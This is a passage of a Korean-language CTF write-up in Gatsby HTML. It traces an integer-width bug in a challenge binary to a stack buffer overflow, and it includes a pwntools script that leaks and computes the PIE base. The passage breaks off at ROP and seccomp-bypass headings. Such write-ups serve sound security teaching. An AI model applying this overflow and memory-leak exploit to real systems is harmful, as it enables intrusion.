url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6UlEQVQ4y6WR32oTQRTG93W89EG88ULwCWS99E18AG8ELwRNrF7UNpXEiFgxbdNEEAKRkthu9//uzM7ObGfmfLJjpLFqsHjg48zhzPnxnRmv3z/xd3fn/miU+73eV39v78Tf2Zn7w+GZPxgsXa/N29szf/ju7P7Ws+N7T15/fnBz6/G3u4NX8k7/Jb/Ve17dfvOiutF9JL26rsGYgJQNGONOnFeoa4my5KhrBc4FGKug1AWSJEPBKnyIzvApDjBOQwyDJd6eL/Dw/fFHTylhqqoyUtZGSmXqGkYIGK1hgI2iNbU1ll/0Uy+OEwrDlNK0pNPTlMLQUJZZCkOiKCJijChJiLKMKI6JpCTSmkhbS4YsDLmzJRDG07LrRRHHfJ5hsSgQRQJJIlAUCowBVUXI8x8SAmCMUJbksnGeCEQAEdm2mk55x7MWaBqLum6db4rf+0Q/8xowCCqkqUSem5U7Cc4tGGvA+QWk1GgXWg2uHK3DrgCFaFYXyQ03jXHrKKWhlIHW1vX+Gag1IY4VlLIIAoWylH9emP7+JL8AjbFYLgssFiXOz6VzdunmUpugVxy2H6IRBBx5Lt0KxtB15YCTCet4RdF+hMB/hgPOZqLjHR4W2N/PMBqVODgoMR6za+voiNnJhKHbDTvfAXhF00ZfSPUfAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./7.png\"\n        title=\"./7.png\"\n        src=\"/static/4f96fdf8682d8bfc2001989e53a9c72d/2add2/7.png\"\n        srcset=\"/static/4f96fdf8682d8bfc2001989e53a9c72d/e9ff0/7.png 180w,\n/static/4f96fdf8682d8bfc2001989e53a9c72d/f21e7/7.png 360w,\n/static/4f96fdf8682d8bfc2001989e53a9c72d/2add2/7.png 381w\"\n        sizes=\"(max-width: 381px) 100vw, 381px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>sub_777</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 617px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 28.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABG0lEQVQY05WPzU7DMAzH+5I8Ay/BmTOcuSCFp+C6HpAG3NDarWxrq4ltNCRN07iNkxolk3baASz9/Lf8JTvZ7e5YVXVsvT6yquKsKFpWlg9ss75idb1h220ba2X5w+paMs4ta5qRfTfjUyf84+37y+fN2wzvP17H69nzPjkeG5ISqO8tAUxkTGAggI4APE3TdIYocNF8cIJjmhjj0RiHWlu0lpBzQGNG1BoQYEDOHUoZ6iMKAed86AfwtjfWCwFuGBx97Yc0CddJ2VHbGtLakRCWpDQRREfWTmStJ+d8VMRTfNIpYq134YPDIS4Mr2lSSpExQEoN5Jyjf1ocUArTJMs0ZVlHi0VLea4ozzWtVn1kufwzrih6ms/b9BdDJsDYveyFCgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./8.png\"\n        title=\"./8.png\"\n        src=\"/static/95e68a40b484397c5faf5d33a302c386/bc962/8.png\"\n        srcset=\"/static/95e68a40b484397c5faf5d33a302c386/e9ff0/8.png 180w,\n/static/95e68a40b484397c5faf5d33a302c386/f21e7/8.png 360w,\n/static/95e68a40b484397c5faf5d33a302c386/bc962/8.png 617w\"\n        sizes=\"(max-width: 617px) 100vw, 617px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>sub_88B</p>\n<ul>\n<li><code class=\"language-text\">sub_88B</code> 함수는 <code class=\"language-text\">read</code> 함수를 바탕으로 입력을 받게 되는데 인자로 사용된 값은 __int64 데이터 타입의 a1즉 buf배열을 인자로 사용하며, 두 번째 인자는 size 변수를 사용하는 것을 확인할 수 있다.</li>\n<li>입력 값의 길이를 반환하게 된다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 567px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 70%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAIAAACgpqunAAAACXBIWXMAAAsTAAALEwEAmpwYAAABkklEQVQoz4WRW28bIRCF/f//WJ4bS7VUq41v8XrN7nKdC7PAVCR9SuIUHSGE5uMcZja7nbte8+WyXq9yPCZjsnOrtd9pnoWoPj25jbUZSbKoiGapxKv+b9XaVHW7jZsYi7PEIBgZIwutECrGFaMUKVqrlq5Wamv6rlI6/PwcN8SNRutOiz3DfILrL3SXQManYSJj082zAZxSNU6zfHRGqi1A9/c63HSaBYABGmJR1abdqqo2ZOVPMGBVxPOp/tjC4egnn4ZlvtppRouZveec+yv6NUxVQzJDnEYwY/AOahERFuFVREhqXvvPAyrlLxpGC1QXFUBjUg/qQAP0ag//FLHflPoRdi/utgvjfvavt/vpsBxu058pm5RNajapjXp3D0c1nn12JIGzi2S9hEQW2eUcuAErZk30EB4OLs+h96OXSlc/UFeinnYtD+H7fnnZgxmJM83JjGFIFINHb7G11nlkfR/aZ/jy825e0c8UliTMa6YqUngtJL1DEXvyh/Bva88L3CkMqfsAv+1v6rHxm9h/Ac0GJ8Q4ykJEAAAAAElFTkSuQmCC'); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./9.png\"\n        title=\"./9.png\"\n        src=\"/static/a41cbe9adb929bafc233f8d5ad366519/8710b/9.png\"\n        srcset=\"/static/a41cbe9adb929bafc233f8d5ad366519/e9ff0/9.png 180w,\n/static/a41cbe9adb929bafc233f8d5ad366519/f21e7/9.png 360w,\n/static/a41cbe9adb929bafc233f8d5ad366519/8710b/9.png 567w\"\n        sizes=\"(max-width: 567px) 100vw, 567px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>main 함수2</p>\n<ul>\n<li>조건을 분석해 보면 flag 문자열과 사용자가 입력한 buf를 비교하여 일치 하지 않을 시 <code class=\"language-text\">is not right.</code> 문자열을 출력하고 0을 반환하면서 종료</li>\n<li>만약 조건을 만족하여 루프를 수행 했다면 <code class=\"language-text\">:)</code> 출력하여 입력 값의 길이를 반환한다.</li>\n<li>만약 아무런 값을 입력 하지 않았을 경우 길이 값이 0이면은 <code class=\"language-text\">try again</code> 을 출력 하면서 <code class=\"language-text\">cnt</code> 값을 증가 시키는 것을 확인할 수 있다.</li>\n</ul>\n<h2 id=\"integer-issue\" style=\"position:relative;\"><a href=\"#integer-issue\" aria-label=\"integer issue permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Integer Issue</h2>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 624px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50.55555555555556%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMElEQVQoz42SvWsUQRjGJ2IrNmKh1oIsFpYWtv4Ngv4FFiKWgh+rWAXENAeJ0ct5jY2gORBUxIBoiI16Ccklm1xCbndu9mN2Zr/ubj9mHrkLFgpKnuH3vk8xPLwvM+R7W5rrHWludzNzb780mVuYrl+YrncA83KT+YXpsOHDPMDt+dXV19eXP5SPfi5XVz62rGPNmZPHmzPkwpvGFBmrt27D3aVgXQbeyxDaAwhngJgNJr6IhqhEhqpUqCoNrTQAFOMiw3JRQRENdYTUbk3yiP2ji75lw9vx4HcF+lsRZG8AvpdB7KcYuRGKfgxohb8V8vw9ABKXOLrellOtljdFej1hBb6weFBaIVcWY2rSPU9ZSVxZBZPWKEitfAzPdvJCW3mhO3mhGRO6lk2/IjcWQZbeuaTRcAiZnesajaZt1Bd2jef1bWPhhWXMzW9NfG2uYzytbRmzd74YT+5+O/f25suLzQdfz8/eXzHuPd44+/ny9KXkzNVrzzhOfGo5p+t15xShNKZJklEhUipEQsMwo1JmNI4HVEYZTcKUCtunwuFOyjiL+yGVDqeCCTvp9ORoZQNZjr5W2mu3Y3ccCEo5giAG5wNEEZDngNYHHEL698XNzRSk35eKUqY4T1UYasWYVpzriR93rf/D+FRKV9XkxVSnkyri+xGECCCEhJQlfB8IAkBKwPOA4fAQI/45YTRZ13VT+H6JIFBwXQUhFOJYIcsUikIhz//NaHTwpdbWEvwCUqKyr+i6su8AAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./10.png\"\n        title=\"./10.png\"\n        src=\"/static/09120ded3d03456e73abe9502c5306d2/39c09/10.png\"\n        srcset=\"/static/09120ded3d03456e73abe9502c5306d2/e9ff0/10.png 180w,\n/static/09120ded3d03456e73abe9502c5306d2/f21e7/10.png 360w,\n/static/09120ded3d03456e73abe9502c5306d2/39c09/10.png 624w\"\n        sizes=\"(max-width: 624px) 100vw, 624px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>Integer Issue</p>\n<ul>\n<li><code class=\"language-text\">sub_91E</code> 함수에서는 인자로 main에서 받은 buf, size, cnt 변수를 사용하고 있다. 하지만 main 함수에서 선언된 데이터 타입을 잘 확인해 보면 size, cnt 변수는 __int16, 16 bit를 사용하는 것을 확인할 수 있으며 sub_91E 함수의 인자 데이터 타입은 32bit로 받고 있는 것을 확인할 수 있다.</li>\n<li>낮은 데이터 크기에서 높은 데이터 크기로 이동 된다면 C 언어 특성상 타입이 명시적으로 큰 쪽으로 확장되게 되어 16bit로 사용하던 데이터 크기가 32bit 까지 사용이 가능해져 다른 메모리 주소 영역을 사용할 수 있게 되는 취약점이 발생한다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACj0lEQVQoz3XPyU8TcRjG8fm/vECCLKW1RWPikpgYCaiAEAzU0pYuQWmLCwy0bMFqxLB1mWlnClgoIGEtCNJWiUTEi+HoVQ+/rwGJ4eLhzed9ntsjWXTvr6qUl6qUV1h0L2bdc3qW/znnwJi2YZm3Y552c0k76d3CrHlO/p9SqWqnOG4VxXErZaodQ9KJMemiIuHEqLkwnPk3t3PR85KbHQnKHKMYJjswT7u4lPRiTrmFOeVGsq+9EsO5FEN7urCthqme7+bmrJ/ajMyNWR81CzLXZ3zcXZK5luyixp+m2j9LXWCBq297qQj2YnrzTBjkEMbRgJAG8ylWv37k/cEHBvI6mZ01+rYUlnKbBLMKi7vryBsxVvNZepaSrOQ3eZZ/zc73DTwLo9yo2eCyPMKtOx8wBcJI5aqdUrWNk+kX1Tb6t1WsmUFC6zEevh+iZztG09IgwV2Fxncj9MyladDDhJbT1CojlFsnMIaCmKwxjAN9SFemO7j+znc6s3L+MXJzPfv3vGRvW7kfbOGC0oIxYqNoohlDxEbxWCuGSQdFYy1UTjkwqK2Y407K4y2YEk6k4cIM2aMCK9/2CO/qxKbeMBAZREtM4FNDDGXGcWlBRpfjeKb7GcmM06738npxCqfWSzgzRVtSZnxR4VH8OVK4MCs+/zgkd3woxnZmWM+u488ppPezdO+oZAqbPM1GKBwf0VfQWchn6dqOsLa/S2ArwsaXHE+2JsSnwwNezISF5N+aRPm0LJQvK3StjeFWZJpiAdxakMaoH5ce5EHUd5obIp249RAN0U68qX7qo5149BB10U46tJCojT5GKlPtokSxUaLYRFnCTqXiwKK2Y4w7MJ9p+afrnPbzWZxo0ly//wDajyT0RpI0CgAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./11.png\"\n        title=\"./11.png\"\n        src=\"/static/4891aa4963881373eb835817224b4c2a/37523/11.png\"\n        srcset=\"/static/4891aa4963881373eb835817224b4c2a/e9ff0/11.png 180w,\n/static/4891aa4963881373eb835817224b4c2a/f21e7/11.png 360w,\n/static/4891aa4963881373eb835817224b4c2a/37523/11.png 720w,\n/static/4891aa4963881373eb835817224b4c2a/d0cc0/11.png 732w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>integer issue</p>\n<ul>\n<li>데이터 크기가 32bit로 확장되어 cnt 변수의 영역까지 인식하게 되어 <code class=\"language-text\">0x1008b</code> 사이즈 값을 사용하게 되어 <code class=\"language-text\">input_len(buf, 0x1008b)</code> 호출되어 스택 버퍼 오버플로우가 발생한다.</li>\n<li>스택 버퍼 오버플로우가 발생할 수 있다면 메모리 주소상에 존재하는 PIE 주소를 릭을 할 수 가 있다.</li>\n</ul>\n<h2 id=\"메모리-주소-노출-스택-버퍼-오버플러우\" style=\"position:relative;\"><a href=\"#%EB%A9%94%EB%AA%A8%EB%A6%AC-%EC%A3%BC%EC%86%8C-%EB%85%B8%EC%B6%9C-%EC%8A%A4%ED%83%9D-%EB%B2%84%ED%8D%BC-%EC%98%A4%EB%B2%84%ED%94%8C%EB%9F%AC%EC%9A%B0\" aria-label=\"메모리 주소 노출 스택 버퍼 오버플러우 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>메모리 주소 노출, 스택 버퍼 오버플러우</h2>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 517px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 37.77777777777778%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB90lEQVQozzXQ3U7aABTA8T6GM44WSXZhWJQPhWRjizphUEBsaWnpB/SDtqAGvViyiyWLyV5hUbM9iY/gO7X/pTgv/jkXJzn55Qi7VZVS3aB0aFOsKnySTcb+DefWip4e0TcTRs4V5WYbqfKZEy3gwlu/ll1463Tk3dAa3n0dPfwVhEKth9jQERsmhaM+HW3MLE6YJQnz5RI3TvAvL9lvNNkqlpBHCrMgxPUCXD/IXD9IHS9geP/woD8/2YJ40EaqDZCq54j1Lp+6Moo+RZ1YKJum6FOX8kGd7UKJ446Majqopp2X5SmGg/z7/s/k+ckXxFofqWEgNaaIR0M6yhg3iHCC6GX6C7xoyX6twZvCLvJozCyMX/eZG0SpE8Scjn901cdHQRAPzhBrA8TqALHWppULNXMj3CgNC81yKVfqbIsljts9VMNGNay8TDWsNBeehHeTs49TQciPSU0TqWm9CDWdWbTEjZY4ucQLX4TVI7Z2inRGKvYixgoirDDKrDBKp2HMSfJLG8Tf/wurfaTakML+Ka2ezMXM26RECaofoi9iyh9avN17j95TWE0DFpMZvmpnoeaki4mHYf7UnMntq9Da/LFQ6dLpDfCjFZbrMbHnGPMAcx6yVzlkp/gOT7P5trplHV5yE15lt4vrdO1f4Xy51rxBIvwDYiYr3jAI4BwAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./12.png\"\n        title=\"./12.png\"\n        src=\"/static/f38e0e5c1cbc39e9dd1e1a83cbea7750/fa2f5/12.png\"\n        srcset=\"/static/f38e0e5c1cbc39e9dd1e1a83cbea7750/e9ff0/12.png 180w,\n/static/f38e0e5c1cbc39e9dd1e1a83cbea7750/f21e7/12.png 360w,\n/static/f38e0e5c1cbc39e9dd1e1a83cbea7750/fa2f5/12.png 517w\"\n        sizes=\"(max-width: 517px) 100vw, 517px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>buf</p>\n<ul>\n<li>buf[140] 바이트를 채운 후 사이즈값이 integer issue로 인해 <code class=\"language-text\">0x1008b</code> 까지 입력을 받을 수 있기 때문에 해당 PIE 주소 부분까지 덮을 수 있게 된다.</li>\n</ul>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 428px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 17.77777777777778%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAApElEQVQI122NywrCMBRE+/9/40LBhSjuBHEjWpWahD5N0ibpI22U5CqpG8EOsxpm5gThHB9m2XGBo/X1vrngLTovk9sK57s4T/vi8cxz8+80HYR4BWhPWVSVSFWEq6RkETW8HqgEVYNzAPCeknM+D06hIrFU2hRKFB0rtUI1oj0VRjbtkGUN59paf/Jra8cxox0hkj5aIbT/BHAe6JljD76QSfIH5Rrhy2+PLfgAAAAASUVORK5CYII='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./13.png\"\n        title=\"./13.png\"\n        src=\"/static/97430976775b5255699cc9cff1379c1a/47730/13.png\"\n        srcset=\"/static/97430976775b5255699cc9cff1379c1a/e9ff0/13.png 180w,\n/static/97430976775b5255699cc9cff1379c1a/f21e7/13.png 360w,\n/static/97430976775b5255699cc9cff1379c1a/47730/13.png 428w\"\n        sizes=\"(max-width: 428px) 100vw, 428px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<h1 id=\"해결-방안\" style=\"position:relative;\"><a href=\"#%ED%95%B4%EA%B2%B0-%EB%B0%A9%EC%95%88\" aria-label=\"해결 방안 permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>해결 방안</h1>\n<p>leak</p>\n<ul>\n<li>메모리 주소가 출력이 가능한 곳은 사용자의 입력값이 틀렸을 경우 buf의 공간을 출력해주는데 이때 널 바이트 까지 인식하여 출력하는 strlen 함수의 특성을 이용하여 PIE 주소 까지 메모리 주소를 덮고 출력을 하게 된다면 주소를 노출 시킬 수 있다.</li>\n<li>해당 노출 된 부분으로 PIE 주소 첫 번째 엔트리 부분을 알 수 있기 때문에 오프셋을 바탕으로 필요한 함수를 사용할 수 가 있겠다.</li>\n</ul>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token comment\"># buffer size ++</span>\n<span class=\"token keyword\">print</span> p<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">\":\"</span><span class=\"token punctuation\">,</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># size = 0xa0</span>\npayload <span class=\"token operator\">=</span> p8<span class=\"token punctuation\">(</span><span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token number\">140</span>\npayload <span class=\"token operator\">+=</span> p16<span class=\"token punctuation\">(</span><span class=\"token number\">0xa0</span><span class=\"token punctuation\">)</span>\npayload <span class=\"token operator\">+=</span> p16<span class=\"token punctuation\">(</span><span class=\"token number\">0x0</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span> p<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">':'</span><span class=\"token punctuation\">,</span>payload<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># PIE leak</span>\npayload <span class=\"token operator\">=</span> p8<span class=\"token punctuation\">(</span><span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token number\">140</span>\npayload <span class=\"token operator\">+=</span> p16<span class=\"token punctuation\">(</span><span class=\"token number\">0xffff</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token number\">2</span>\npayload <span class=\"token operator\">+=</span> p8<span class=\"token punctuation\">(</span><span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token number\">0xa0</span><span class=\"token operator\">-</span><span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\np<span class=\"token punctuation\">.</span>send<span class=\"token punctuation\">(</span>payload<span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>recvuntil<span class=\"token punctuation\">(</span><span class=\"token string\">\"): \"</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>recv<span class=\"token punctuation\">(</span><span class=\"token number\">160</span><span class=\"token punctuation\">)</span>\npie_addr <span class=\"token operator\">=</span> u64<span class=\"token punctuation\">(</span>p<span class=\"token punctuation\">.</span>recv<span class=\"token punctuation\">(</span><span class=\"token number\">6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>ljust<span class=\"token punctuation\">(</span><span class=\"token number\">8</span><span class=\"token punctuation\">,</span>\n<span class=\"token string\">'\\x00'</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nlog<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span><span class=\"token string\">\"PIE_leak : \"</span><span class=\"token operator\">+</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>pie_addr<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># lib base</span>\npie_base <span class=\"token operator\">=</span> pie_addr <span class=\"token operator\">-</span> <span class=\"token number\">0xbb7</span>\nlog<span class=\"token punctuation\">.</span>info<span class=\"token punctuation\">(</span><span class=\"token string\">\"PIE_base : \"</span><span class=\"token operator\">+</span><span class=\"token builtin\">hex</span><span class=\"token punctuation\">(</span>pie_base<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\np<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<ol>\n<li>buf size 증가\n<ul>\n<li>스택 버퍼 오버플로우 버그를 만들기 위해 공백 문자를 집어넣어 <code class=\"language-text\">v7++</code> 하여 size가 <code class=\"language-text\">0x1008b</code> 상태로 만든다.</li>\n</ul>\n</li>\n<li>PIE leak 공간 만들기\n<ul>\n<li>PIE 주소 값은 buf[140]을 지나서 20 바이트 위치에 존재하기 때문에 사이즈를 변경해준다.</li>\n</ul>\n</li>\n<li>PIE leak\n<ul>\n<li>size, v7을 16bit 최대 정수 값으로 바꿔주고 160 바이트 전부 데이터를 채워 PIE 주소를 leak할 수 있는 상태로 오버 플로우를 한다.</li>\n</ul>\n</li>\n<li>160 바이트까지 응답을 받은 후에 PIE 주소 값을 긁어와 베이스 주소를 구하자</li>\n</ol>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 720px; \"\n    >\n      <span\n    class=\"gatsby-resp-image-background-image\"\n    style=\"padding-bottom: 53.888888888888886%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8ElEQVQoz4XQS2vUUBgG4PwOJ+ec5OQ+yeR6JplbpplMkrk4F6eD2oq17RTaWgcHabUXF4NQEdz4A1TcCyLShYguiqAFty7ciCD4QyQytLqQwrN4Ny+830d51YEf9vxav1LrV+uDctAr+hdtLzLzoe3FnOyyIvkfSie1qN2x3FKt1SpHUbkSKIaTNVNYUgEvIUFOzYKEePEUJSnEdZ0MA4W8JJgiR2cuAJCh6QxNA4QABAAxAEIAEQA0RAjx8inKbqw7V6dG95Z6farNj83hntq8afcnWm/HaIz0wa6erOqXdrVkzR7uK/Ea4sSzMtl6494/0S8furePjGtPCg++2uNX7v4nZ+dD/t5x+fEvMjlyD0700TPnzjtn+z3EPOKVWdnceE0e/dQ3X1p7n7XRC2v6zbz70dg+zh9+tyZvc6Pn5OBL/uEPMdlSV57ywVK6XMjOylptOdfe0Oo39PZmLlk1u+NcuKCES5y/gEkDmwFXnBeCZUxiTBJGNv6ZXSzXCwVXkhWGZRiMMYdFWWExBggiFkPMQ4aBCEKWgyyX/vzvh1XqwyBuKbqjk5Ll+arlASxBPosENZ03oyL+T0ivPUO5fqfZ7c1FiR9GcbtTrcdCVoMcD3nhXFQ1XCzN9ZL4iuM1Ja2iO5GglFjRxZJ3rt+SNJL9D6xV9wAAAABJRU5ErkJggg=='); background-size: cover; display: block;\"\n  ></span>\n  <img\n        class=\"gatsby-resp-image-image\"\n        alt=\"./14.png\"\n        title=\"./14.png\"\n        src=\"/static/355ca7adef80d841c873aed445daeda3/37523/14.png\"\n        srcset=\"/static/355ca7adef80d841c873aed445daeda3/e9ff0/14.png 180w,\n/static/355ca7adef80d841c873aed445daeda3/f21e7/14.png 360w,\n/static/355ca7adef80d841c873aed445daeda3/37523/14.png 720w,\n/static/355ca7adef80d841c873aed445daeda3/f96df/14.png 849w\"\n        sizes=\"(max-width: 720px) 100vw, 720px\"\n        style=\"width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;\"\n        loading=\"lazy\"\n        decoding=\"async\"\n      />\n    </span></p>\n<p>leak pie</p>\n<h2 id=\"64bit-rop\" style=\"position:relative;\"><a href=\"#64bit-rop\" aria-label=\"64bit rop permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>64bit ROP</h2>\n<h2 id=\"seccomp_filter_mode-우회\" 